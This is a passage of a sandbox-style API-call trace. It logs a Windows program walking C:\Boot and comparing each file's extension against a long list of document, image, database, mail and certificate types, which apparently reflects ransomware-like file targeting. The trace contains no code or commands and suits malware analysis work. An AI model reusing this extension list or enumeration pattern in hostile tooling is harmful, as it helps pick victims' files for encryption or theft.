(lpString=".crw") returned 4 [0191.961] lstrcmpiW (lpString1=".crw", lpString2="LOG1") returned -1 [0191.961] lstrlenW (lpString=".cs") returned 3 [0191.961] lstrcmpiW (lpString1=".cs", lpString2="OG1") returned -1 [0191.961] lstrlenW (lpString=".css") returned 4 [0191.961] lstrcmpiW (lpString1=".css", lpString2="LOG1") returned -1 [0191.961] lstrlenW (lpString=".csv") returned 4 [0191.961] lstrcmpiW (lpString1=".csv", lpString2="LOG1") returned -1 [0191.961] lstrlenW (lpString=".cub") returned 4 [0191.962] lstrcmpiW (lpString1=".cub", lpString2="LOG1") returned -1 [0191.962] lstrlenW (lpString=".dae") returned 4 [0191.962] lstrcmpiW (lpString1=".dae", lpString2="LOG1") returned -1 [0191.962] lstrlenW (lpString=".dat") returned 4 [0191.962] lstrcmpiW (lpString1=".dat", lpString2="LOG1") returned -1 [0191.962] lstrlenW (lpString=".db") returned 3 [0191.962] lstrcmpiW (lpString1=".db", lpString2="OG1") returned -1 [0191.962] lstrlenW (lpString=".dbf") returned 4 [0191.962] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0191.962] lstrlenW (lpString=".dbx") returned 4 [0191.962] lstrcmpiW (lpString1=".dbx", lpString2="LOG1") returned -1 [0191.962] lstrlenW (lpString=".dc3") returned 4 [0191.962] lstrcmpiW (lpString1=".dc3", lpString2="LOG1") returned -1 [0191.962] lstrlenW (lpString=".dcm") returned 4 [0191.962] lstrcmpiW (lpString1=".dcm", lpString2="LOG1") returned -1 [0191.962] lstrlenW (lpString=".dcr") returned 4 [0191.962] lstrcmpiW (lpString1=".dcr", lpString2="LOG1") returned -1 [0191.962] lstrlenW (lpString=".der") returned 4 [0191.962] lstrcmpiW (lpString1=".der", lpString2="LOG1") returned -1 [0191.962] lstrlenW (lpString=".dib") returned 4 [0191.962] lstrcmpiW (lpString1=".dib", lpString2="LOG1") returned -1 [0191.962] lstrlenW (lpString=".dic") returned 4 [0191.962] lstrcmpiW (lpString1=".dic", lpString2="LOG1") returned -1 [0191.962] lstrlenW (lpString=".dif") returned 4 [0191.962] lstrcmpiW (lpString1=".dif", lpString2="LOG1") returned -1 [0191.962] lstrlenW (lpString=".divx") returned 5 [0191.962] lstrcmpiW (lpString1=".divx", lpString2=".LOG1") returned -1 [0191.962] lstrlenW (lpString=".djvu") returned 5 [0191.962] lstrcmpiW (lpString1=".djvu", lpString2=".LOG1") returned -1 [0191.963] lstrlenW (lpString=".dng") returned 4 [0191.963] lstrcmpiW (lpString1=".dng", lpString2="LOG1") returned -1 [0191.963] lstrlenW (lpString=".doc") returned 4 [0191.963] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0191.963] lstrlenW (lpString=".docm") returned 5 [0191.963] lstrcmpiW (lpString1=".docm", lpString2=".LOG1") returned -1 [0191.963] lstrlenW (lpString=".docx") returned 5 [0191.963] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0191.963] lstrlenW (lpString=".dot") returned 4 [0191.963] lstrcmpiW (lpString1=".dot", lpString2="LOG1") returned -1 [0191.963] lstrlenW (lpString=".dotm") returned 5 [0191.963] lstrcmpiW (lpString1=".dotm", lpString2=".LOG1") returned -1 [0191.963] lstrlenW (lpString=".dotx") returned 5 [0191.963] lstrcmpiW (lpString1=".dotx", lpString2=".LOG1") returned -1 [0191.963] lstrlenW (lpString=".dpx") returned 4 [0191.963] lstrcmpiW (lpString1=".dpx", lpString2="LOG1") returned -1 [0191.963] lstrlenW (lpString=".dqy") returned 4 [0191.963] lstrcmpiW (lpString1=".dqy", lpString2="LOG1") returned -1 [0191.963] lstrlenW (lpString=".dsn") returned 4 [0191.963] lstrcmpiW (lpString1=".dsn", lpString2="LOG1") returned -1 [0191.963] lstrlenW (lpString=".dt") returned 3 [0191.963] lstrcmpiW (lpString1=".dt", lpString2="OG1") returned -1 [0191.963] lstrlenW (lpString=".dtd") returned 4 [0191.963] lstrcmpiW (lpString1=".dtd", lpString2="LOG1") returned -1 [0191.963] lstrlenW (lpString=".dwg") returned 4 [0191.963] lstrcmpiW (lpString1=".dwg", lpString2="LOG1") returned -1 [0191.963] lstrlenW (lpString=".dwt") returned 4 [0191.963] lstrcmpiW (lpString1=".dwt", lpString2="LOG1") returned -1 [0191.963] lstrlenW (lpString=".dx") returned 3 [0191.964] lstrcmpiW (lpString1=".dx", lpString2="OG1") returned -1 [0191.964] lstrlenW (lpString=".dxf") returned 4 [0191.964] lstrcmpiW (lpString1=".dxf", lpString2="LOG1") returned -1 [0191.964] lstrlenW (lpString=".edml") returned 5 [0191.964] lstrcmpiW (lpString1=".edml", lpString2=".LOG1") returned -1 [0191.964] lstrlenW (lpString=".efd") returned 4 [0191.964] lstrcmpiW (lpString1=".efd", lpString2="LOG1") returned -1 [0191.964] lstrlenW (lpString=".elf") returned 4 [0191.964] lstrcmpiW (lpString1=".elf", lpString2="LOG1") returned -1 [0191.964] lstrlenW (lpString=".emf") returned 4 [0191.964] lstrcmpiW (lpString1=".emf", lpString2="LOG1") returned -1 [0191.964] lstrlenW (lpString=".emz") returned 4 [0191.964] lstrcmpiW (lpString1=".emz", lpString2="LOG1") returned -1 [0191.964] lstrlenW (lpString=".epf") returned 4 [0191.964] lstrcmpiW (lpString1=".epf", lpString2="LOG1") returned -1 [0191.964] lstrlenW (lpString=".eps") returned 4 [0191.964] lstrcmpiW (lpString1=".eps", lpString2="LOG1") returned -1 [0191.964] lstrlenW (lpString=".epsf") returned 5 [0191.964] lstrcmpiW (lpString1=".epsf", lpString2=".LOG1") returned -1 [0191.964] lstrlenW (lpString=".epsp") returned 5 [0191.964] lstrcmpiW (lpString1=".epsp", lpString2=".LOG1") returned -1 [0191.964] lstrlenW (lpString=".erf") returned 4 [0191.964] lstrcmpiW (lpString1=".erf", lpString2="LOG1") returned -1 [0191.964] lstrlenW (lpString=".exr") returned 4 [0191.964] lstrcmpiW (lpString1=".exr", lpString2="LOG1") returned -1 [0191.964] lstrlenW (lpString=".f4v") returned 4 [0191.964] lstrcmpiW (lpString1=".f4v", lpString2="LOG1") returned -1 [0191.964] lstrlenW (lpString=".fido") returned 5 [0191.964] lstrcmpiW (lpString1=".fido", lpString2=".LOG1") returned -1 [0191.965] lstrlenW (lpString=".flm") returned 4 [0191.965] lstrcmpiW (lpString1=".flm", lpString2="LOG1") returned -1 [0191.965] lstrlenW (lpString=".flv") returned 4 [0191.965] lstrcmpiW (lpString1=".flv", lpString2="LOG1") returned -1 [0191.965] lstrlenW (lpString=".frm") returned 4 [0191.965] lstrcmpiW (lpString1=".frm", lpString2="LOG1") returned -1 [0191.965] lstrlenW (lpString=".fxg") returned 4 [0191.965] lstrcmpiW (lpString1=".fxg", lpString2="LOG1") returned -1 [0191.965] lstrlenW (lpString=".geo") returned 4 [0191.965] lstrcmpiW (lpString1=".geo", lpString2="LOG1") returned -1 [0191.965] lstrlenW (lpString=".gif") returned 4 [0191.965] lstrcmpiW (lpString1=".gif", lpString2="LOG1") returned -1 [0191.965] lstrlenW (lpString=".grs") returned 4 [0191.965] lstrcmpiW (lpString1=".grs", lpString2="LOG1") returned -1 [0191.965] lstrlenW (lpString=".gz") returned 3 [0191.965] lstrcmpiW (lpString1=".gz", lpString2="OG1") returned -1 [0191.965] lstrlenW (lpString=".h") returned 2 [0191.965] lstrcmpiW (lpString1=".h", lpString2="G1") returned -1 [0191.965] lstrlenW (lpString=".hdr") returned 4 [0191.965] lstrcmpiW (lpString1=".hdr", lpString2="LOG1") returned -1 [0191.965] lstrlenW (lpString=".hpp") returned 4 [0191.965] lstrcmpiW (lpString1=".hpp", lpString2="LOG1") returned -1 [0191.965] lstrlenW (lpString=".hta") returned 4 [0191.965] lstrcmpiW (lpString1=".hta", lpString2="LOG1") returned -1 [0191.965] lstrlenW (lpString=".htc") returned 4 [0191.965] lstrcmpiW (lpString1=".htc", lpString2="LOG1") returned -1 [0191.965] lstrlenW (lpString=".htm") returned 4 [0191.965] lstrcmpiW (lpString1=".htm", lpString2="LOG1") returned -1 [0191.965] lstrlenW (lpString=".html") returned 5 [0191.966] lstrcmpiW (lpString1=".html", lpString2=".LOG1") returned -1 [0191.966] lstrlenW (lpString=".icb") returned 4 [0191.966] lstrcmpiW (lpString1=".icb", lpString2="LOG1") returned -1 [0191.966] lstrlenW (lpString=".ics") returned 4 [0191.966] lstrcmpiW (lpString1=".ics", lpString2="LOG1") returned -1 [0191.966] lstrlenW (lpString=".iff") returned 4 [0191.966] lstrcmpiW (lpString1=".iff", lpString2="LOG1") returned -1 [0191.966] lstrlenW (lpString=".inc") returned 4 [0191.966] lstrcmpiW (lpString1=".inc", lpString2="LOG1") returned -1 [0191.966] lstrlenW (lpString=".indd") returned 5 [0191.966] lstrcmpiW (lpString1=".indd", lpString2=".LOG1") returned -1 [0191.966] lstrlenW (lpString=".ini") returned 4 [0191.966] lstrcmpiW (lpString1=".ini", lpString2="LOG1") returned -1 [0191.966] lstrlenW (lpString=".iqy") returned 4 [0191.966] lstrcmpiW (lpString1=".iqy", lpString2="LOG1") returned -1 [0191.966] lstrlenW (lpString=".j2c") returned 4 [0191.966] lstrcmpiW (lpString1=".j2c", lpString2="LOG1") returned -1 [0191.966] lstrlenW (lpString=".j2k") returned 4 [0191.966] lstrcmpiW (lpString1=".j2k", lpString2="LOG1") returned -1 [0191.966] lstrlenW (lpString=".java") returned 5 [0191.966] lstrcmpiW (lpString1=".java", lpString2=".LOG1") returned -1 [0191.966] lstrlenW (lpString=".jp2") returned 4 [0191.966] lstrcmpiW (lpString1=".jp2", lpString2="LOG1") returned -1 [0191.966] lstrlenW (lpString=".jpc") returned 4 [0191.966] lstrcmpiW (lpString1=".jpc", lpString2="LOG1") returned -1 [0191.966] lstrlenW (lpString=".jpe") returned 4 [0191.966] lstrcmpiW (lpString1=".jpe", lpString2="LOG1") returned -1 [0191.966] lstrlenW (lpString=".jpeg") returned 5 [0191.967] lstrcmpiW (lpString1=".jpeg", lpString2=".LOG1") returned -1 [0191.967] lstrlenW (lpString=".jpf") returned 4 [0191.967] lstrcmpiW (lpString1=".jpf", lpString2="LOG1") returned -1 [0191.967] lstrlenW (lpString=".jpg") returned 4 [0191.967] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0191.967] lstrlenW (lpString=".jpx") returned 4 [0191.967] lstrcmpiW (lpString1=".jpx", lpString2="LOG1") returned -1 [0191.967] lstrlenW (lpString=".js") returned 3 [0191.967] lstrcmpiW (lpString1=".js", lpString2="OG1") returned -1 [0191.967] lstrlenW (lpString=".jsf") returned 4 [0191.967] lstrcmpiW (lpString1=".jsf", lpString2="LOG1") returned -1 [0191.967] lstrlenW (lpString=".json") returned 5 [0191.967] lstrcmpiW (lpString1=".json", lpString2=".LOG1") returned -1 [0191.967] lstrlenW (lpString=".jsp") returned 4 [0191.967] lstrcmpiW (lpString1=".jsp", lpString2="LOG1") returned -1 [0191.967] lstrlenW (lpString=".kdc") returned 4 [0191.967] lstrcmpiW (lpString1=".kdc", lpString2="LOG1") returned -1 [0191.967] lstrlenW (lpString=".kmz") returned 4 [0191.967] lstrcmpiW (lpString1=".kmz", lpString2="LOG1") returned -1 [0191.967] lstrlenW (lpString=".kwm") returned 4 [0191.967] lstrcmpiW (lpString1=".kwm", lpString2="LOG1") returned -1 [0191.967] lstrlenW (lpString=".lasso") returned 6 [0191.967] lstrcmpiW (lpString1=".lasso", lpString2="D.LOG1") returned -1 [0191.967] lstrlenW (lpString=".lbi") returned 4 [0191.967] lstrcmpiW (lpString1=".lbi", lpString2="LOG1") returned -1 [0191.967] lstrlenW (lpString=".lgf") returned 4 [0191.967] lstrcmpiW (lpString1=".lgf", lpString2="LOG1") returned -1 [0191.967] lstrlenW (lpString=".lgp") returned 4 [0191.967] lstrcmpiW (lpString1=".lgp", lpString2="LOG1") returned -1 [0191.967] lstrlenW (lpString=".log") returned 4 [0191.968] lstrcmpiW (lpString1=".log", lpString2="LOG1") returned -1 [0191.968] lstrlenW (lpString=".m1v") returned 4 [0191.968] lstrcmpiW (lpString1=".m1v", lpString2="LOG1") returned -1 [0191.968] lstrlenW (lpString=".m4a") returned 4 [0191.968] lstrcmpiW (lpString1=".m4a", lpString2="LOG1") returned -1 [0191.968] lstrlenW (lpString=".m4v") returned 4 [0191.968] lstrcmpiW (lpString1=".m4v", lpString2="LOG1") returned -1 [0191.968] lstrlenW (lpString=".max") returned 4 [0191.968] lstrcmpiW (lpString1=".max", lpString2="LOG1") returned -1 [0191.968] lstrlenW (lpString=".md") returned 3 [0191.968] lstrcmpiW (lpString1=".md", lpString2="OG1") returned -1 [0191.968] lstrlenW (lpString=".mda") returned 4 [0191.968] lstrcmpiW (lpString1=".mda", lpString2="LOG1") returned -1 [0191.968] lstrlenW (lpString=".mdb") returned 4 [0191.968] lstrcmpiW (lpString1=".mdb", lpString2="LOG1") returned -1 [0191.968] lstrlenW (lpString=".mde") returned 4 [0191.968] lstrcmpiW (lpString1=".mde", lpString2="LOG1") returned -1 [0191.968] lstrlenW (lpString=".mdf") returned 4 [0191.968] lstrcmpiW (lpString1=".mdf", lpString2="LOG1") returned -1 [0191.968] lstrlenW (lpString=".mdw") returned 4 [0191.968] lstrcmpiW (lpString1=".mdw", lpString2="LOG1") returned -1 [0191.968] lstrlenW (lpString=".mef") returned 4 [0191.968] lstrcmpiW (lpString1=".mef", lpString2="LOG1") returned -1 [0191.968] lstrlenW (lpString=".mft") returned 4 [0191.968] lstrcmpiW (lpString1=".mft", lpString2="LOG1") returned -1 [0191.968] lstrlenW (lpString=".mfw") returned 4 [0191.968] lstrcmpiW (lpString1=".mfw", lpString2="LOG1") returned -1 [0191.968] lstrlenW (lpString=".mht") returned 4 [0191.968] lstrcmpiW (lpString1=".mht", lpString2="LOG1") returned -1 [0191.969] lstrlenW (lpString=".mhtml") returned 6 [0191.969] lstrcmpiW (lpString1=".mhtml", lpString2="D.LOG1") returned -1 [0191.969] lstrlenW (lpString=".mka") returned 4 [0191.969] lstrcmpiW (lpString1=".mka", lpString2="LOG1") returned -1 [0191.969] lstrlenW (lpString=".mkidx") returned 6 [0191.969] lstrcmpiW (lpString1=".mkidx", lpString2="D.LOG1") returned -1 [0191.969] lstrlenW (lpString=".mkv") returned 4 [0191.969] lstrcmpiW (lpString1=".mkv", lpString2="LOG1") returned -1 [0191.969] lstrlenW (lpString=".mos") returned 4 [0191.969] lstrcmpiW (lpString1=".mos", lpString2="LOG1") returned -1 [0191.969] lstrlenW (lpString=".mov") returned 4 [0191.969] lstrcmpiW (lpString1=".mov", lpString2="LOG1") returned -1 [0191.969] lstrlenW (lpString=".mp3") returned 4 [0191.969] lstrcmpiW (lpString1=".mp3", lpString2="LOG1") returned -1 [0191.969] lstrlenW (lpString=".mp4") returned 4 [0191.969] lstrcmpiW (lpString1=".mp4", lpString2="LOG1") returned -1 [0191.969] lstrlenW (lpString=".mpeg") returned 5 [0191.969] lstrcmpiW (lpString1=".mpeg", lpString2=".LOG1") returned 1 [0191.969] lstrlenW (lpString=".mpg") returned 4 [0191.969] lstrcmpiW (lpString1=".mpg", lpString2="LOG1") returned -1 [0191.969] lstrlenW (lpString=".mpv") returned 4 [0191.969] lstrcmpiW (lpString1=".mpv", lpString2="LOG1") returned -1 [0191.969] lstrlenW (lpString=".mrw") returned 4 [0191.969] lstrcmpiW (lpString1=".mrw", lpString2="LOG1") returned -1 [0191.969] lstrlenW (lpString=".msg") returned 4 [0191.969] lstrcmpiW (lpString1=".msg", lpString2="LOG1") returned -1 [0191.969] lstrlenW (lpString=".mxl") returned 4 [0191.969] lstrcmpiW (lpString1=".mxl", lpString2="LOG1") returned -1 [0191.970] lstrlenW (lpString=".myd") returned 4 [0191.970] lstrcmpiW (lpString1=".myd", lpString2="LOG1") returned -1 [0191.970] lstrlenW (lpString=".myi") returned 4 [0191.970] lstrcmpiW (lpString1=".myi", lpString2="LOG1") returned -1 [0191.970] lstrlenW (lpString=".nef") returned 4 [0191.970] lstrcmpiW (lpString1=".nef", lpString2="LOG1") returned -1 [0191.970] lstrlenW (lpString=".nrw") returned 4 [0191.970] lstrcmpiW (lpString1=".nrw", lpString2="LOG1") returned -1 [0191.970] lstrlenW (lpString=".obj") returned 4 [0191.970] lstrcmpiW (lpString1=".obj", lpString2="LOG1") returned -1 [0191.970] lstrlenW (lpString=".odb") returned 4 [0191.970] lstrcmpiW (lpString1=".odb", lpString2="LOG1") returned -1 [0191.970] lstrlenW (lpString=".odc") returned 4 [0191.970] lstrcmpiW (lpString1=".odc", lpString2="LOG1") returned -1 [0191.970] lstrlenW (lpString=".odm") returned 4 [0191.970] lstrcmpiW (lpString1=".odm", lpString2="LOG1") returned -1 [0191.970] lstrlenW (lpString=".odp") returned 4 [0191.970] lstrcmpiW (lpString1=".odp", lpString2="LOG1") returned -1 [0191.970] lstrlenW (lpString=".ods") returned 4 [0191.970] lstrcmpiW (lpString1=".ods", lpString2="LOG1") returned -1 [0191.970] lstrlenW (lpString=".oft") returned 4 [0191.970] lstrcmpiW (lpString1=".oft", lpString2="LOG1") returned -1 [0191.970] lstrlenW (lpString=".one") returned 4 [0191.970] lstrcmpiW (lpString1=".one", lpString2="LOG1") returned -1 [0191.970] lstrlenW (lpString=".onepkg") returned 7 [0191.970] lstrcmpiW (lpString1=".onepkg", lpString2="CD.LOG1") returned -1 [0191.970] lstrlenW (lpString=".onetoc2") returned 8 [0191.970] lstrcmpiW (lpString1=".onetoc2", lpString2="BCD.LOG1") returned -1 [0191.970] lstrlenW (lpString=".opt") returned 4 [0191.971] lstrcmpiW (lpString1=".opt", lpString2="LOG1") returned -1 [0191.971] lstrlenW (lpString=".oqy") returned 4 [0191.971] lstrcmpiW (lpString1=".oqy", lpString2="LOG1") returned -1 [0191.971] lstrlenW (lpString=".orf") returned 4 [0191.971] lstrcmpiW (lpString1=".orf", lpString2="LOG1") returned -1 [0191.971] lstrlenW (lpString=".p12") returned 4 [0191.971] lstrcmpiW (lpString1=".p12", lpString2="LOG1") returned -1 [0191.971] lstrlenW (lpString=".p7b") returned 4 [0191.971] lstrcmpiW (lpString1=".p7b", lpString2="LOG1") returned -1 [0191.971] lstrlenW (lpString=".p7c") returned 4 [0191.971] lstrcmpiW (lpString1=".p7c", lpString2="LOG1") returned -1 [0191.971] lstrlenW (lpString=".pam") returned 4 [0191.971] lstrcmpiW (lpString1=".pam", lpString2="LOG1") returned -1 [0191.971] lstrlenW (lpString=".pbm") returned 4 [0191.971] lstrcmpiW (lpString1=".pbm", lpString2="LOG1") returned -1 [0191.971] lstrlenW (lpString=".pct") returned 4 [0191.971] lstrcmpiW (lpString1=".pct", lpString2="LOG1") returned -1 [0191.971] lstrlenW (lpString=".pcx") returned 4 [0191.971] lstrcmpiW (lpString1=".pcx", lpString2="LOG1") returned -1 [0191.971] lstrlenW (lpString=".pdd") returned 4 [0191.971] lstrcmpiW (lpString1=".pdd", lpString2="LOG1") returned -1 [0191.971] lstrlenW (lpString=".pdf") returned 4 [0191.971] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0191.971] lstrlenW (lpString=".pdp") returned 4 [0191.971] lstrcmpiW (lpString1=".pdp", lpString2="LOG1") returned -1 [0191.972] lstrlenW (lpString=".pef") returned 4 [0191.972] lstrcmpiW (lpString1=".pef", lpString2="LOG1") returned -1 [0191.972] lstrlenW (lpString=".pem") returned 4 [0191.972] lstrcmpiW (lpString1=".pem", lpString2="LOG1") returned -1 [0191.972] lstrlenW (lpString=".pff") returned 4 [0191.972] lstrcmpiW (lpString1=".pff", lpString2="LOG1") returned -1 [0191.972] lstrlenW (lpString=".pfm") returned 4 [0191.972] lstrcmpiW (lpString1=".pfm", lpString2="LOG1") returned -1 [0191.972] lstrlenW (lpString=".pfx") returned 4 [0191.972] lstrcmpiW (lpString1=".pfx", lpString2="LOG1") returned -1 [0191.972] lstrlenW (lpString=".pgm") returned 4 [0191.972] lstrcmpiW (lpString1=".pgm", lpString2="LOG1") returned -1 [0191.972] lstrlenW (lpString=".php") returned 4 [0191.972] lstrcmpiW (lpString1=".php", lpString2="LOG1") returned -1 [0191.972] lstrlenW (lpString=".php3") returned 5 [0191.972] lstrcmpiW (lpString1=".php3", lpString2=".LOG1") returned 1 [0191.972] lstrlenW (lpString=".php4") returned 5 [0191.972] lstrcmpiW (lpString1=".php4", lpString2=".LOG1") returned 1 [0191.972] lstrlenW (lpString=".php5") returned 5 [0191.972] lstrcmpiW (lpString1=".php5", lpString2=".LOG1") returned 1 [0191.972] lstrlenW (lpString=".phtml") returned 6 [0191.972] lstrcmpiW (lpString1=".phtml", lpString2="D.LOG1") returned -1 [0191.972] lstrlenW (lpString=".pict") returned 5 [0191.972] lstrcmpiW (lpString1=".pict", lpString2=".LOG1") returned 1 [0191.972] lstrlenW (lpString=".pl") returned 3 [0191.972] lstrcmpiW (lpString1=".pl", lpString2="OG1") returned -1 [0191.972] lstrlenW (lpString=".pls") returned 4 [0191.972] lstrcmpiW (lpString1=".pls", lpString2="LOG1") returned -1 [0191.972] lstrlenW (lpString=".pm") returned 3 [0191.973] lstrcmpiW (lpString1=".pm", lpString2="OG1") returned -1 [0191.973] lstrlenW (lpString=".png") returned 4 [0191.973] lstrcmpiW (lpString1=".png", lpString2="LOG1") returned -1 [0191.973] lstrlenW (lpString=".pnm") returned 4 [0191.973] lstrcmpiW (lpString1=".pnm", lpString2="LOG1") returned -1 [0191.973] lstrlenW (lpString=".pot") returned 4 [0191.973] lstrcmpiW (lpString1=".pot", lpString2="LOG1") returned -1 [0191.973] lstrlenW (lpString=".potm") returned 5 [0191.973] lstrcmpiW (lpString1=".potm", lpString2=".LOG1") returned 1 [0191.973] lstrlenW (lpString=".potx") returned 5 [0191.973] lstrcmpiW (lpString1=".potx", lpString2=".LOG1") returned 1 [0191.973] lstrlenW (lpString=".ppa") returned 4 [0191.973] lstrcmpiW (lpString1=".ppa", lpString2="LOG1") returned -1 [0191.973] lstrlenW (lpString=".ppam") returned 5 [0191.973] lstrcmpiW (lpString1=".ppam", lpString2=".LOG1") returned 1 [0191.973] lstrlenW (lpString=".ppm") returned 4 [0191.973] lstrcmpiW (lpString1=".ppm", lpString2="LOG1") returned -1 [0191.973] lstrlenW (lpString=".pps") returned 4 [0191.973] lstrcmpiW (lpString1=".pps", lpString2="LOG1") returned -1 [0191.973] lstrlenW (lpString=".ppsm") returned 5 [0191.973] lstrcmpiW (lpString1=".ppsm", lpString2=".LOG1") returned 1 [0191.973] lstrlenW (lpString=".ppt") returned 4 [0191.973] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0191.973] lstrlenW (lpString=".pptm") returned 5 [0191.973] lstrcmpiW (lpString1=".pptm", lpString2=".LOG1") returned 1 [0191.973] lstrlenW (lpString=".pptx") returned 5 [0191.973] lstrcmpiW (lpString1=".pptx", lpString2=".LOG1") returned 1 [0191.973] lstrlenW (lpString=".prn") returned 4 [0191.974] lstrcmpiW (lpString1=".prn", lpString2="LOG1") returned -1 [0191.974] lstrlenW (lpString=".ps") returned 3 [0191.974] lstrcmpiW (lpString1=".ps", lpString2="OG1") returned -1 [0191.974] lstrlenW (lpString=".psb") returned 4 [0191.974] lstrcmpiW (lpString1=".psb", lpString2="LOG1") returned -1 [0191.974] lstrlenW (lpString=".psd") returned 4 [0191.974] lstrcmpiW (lpString1=".psd", lpString2="LOG1") returned -1 [0191.974] lstrlenW (lpString=".pst") returned 4 [0191.974] lstrcmpiW (lpString1=".pst", lpString2="LOG1") returned -1 [0191.974] lstrlenW (lpString=".ptx") returned 4 [0191.974] lstrcmpiW (lpString1=".ptx", lpString2="LOG1") returned -1 [0191.974] lstrlenW (lpString=".pub") returned 4 [0191.974] lstrcmpiW (lpString1=".pub", lpString2="LOG1") returned -1 [0191.974] lstrlenW (lpString=".pwm") returned 4 [0191.974] lstrcmpiW (lpString1=".pwm", lpString2="LOG1") returned -1 [0191.974] lstrlenW (lpString=".pxr") returned 4 [0191.974] lstrcmpiW (lpString1=".pxr", lpString2="LOG1") returned -1 [0191.974] lstrlenW (lpString=".py") returned 3 [0191.974] lstrcmpiW (lpString1=".py", lpString2="OG1") returned -1 [0191.974] lstrlenW (lpString=".qt") returned 3 [0191.974] lstrcmpiW (lpString1=".qt", lpString2="OG1") returned -1 [0191.974] lstrlenW (lpString=".r3d") returned 4 [0191.974] lstrcmpiW (lpString1=".r3d", lpString2="LOG1") returned -1 [0191.974] lstrlenW (lpString=".raf") returned 4 [0191.974] lstrcmpiW (lpString1=".raf", lpString2="LOG1") returned -1 [0191.974] lstrlenW (lpString=".rar") returned 4 [0191.974] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0191.974] lstrlenW (lpString=".raw") returned 4 [0191.974] lstrcmpiW (lpString1=".raw", lpString2="LOG1") returned -1 [0191.975] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0191.975] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0191.975] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.975] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x750dd0 [0191.976] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.976] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0191.976] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0191.976] FindClose (in: hFindFile=0x750dd0 | out: hFindFile=0x750dd0) returned 1 [0191.976] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.976] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0191.976] FindNextFileW (in: hFindFile=0x751390, lpFindFileData=0x2d0fa7c | out: 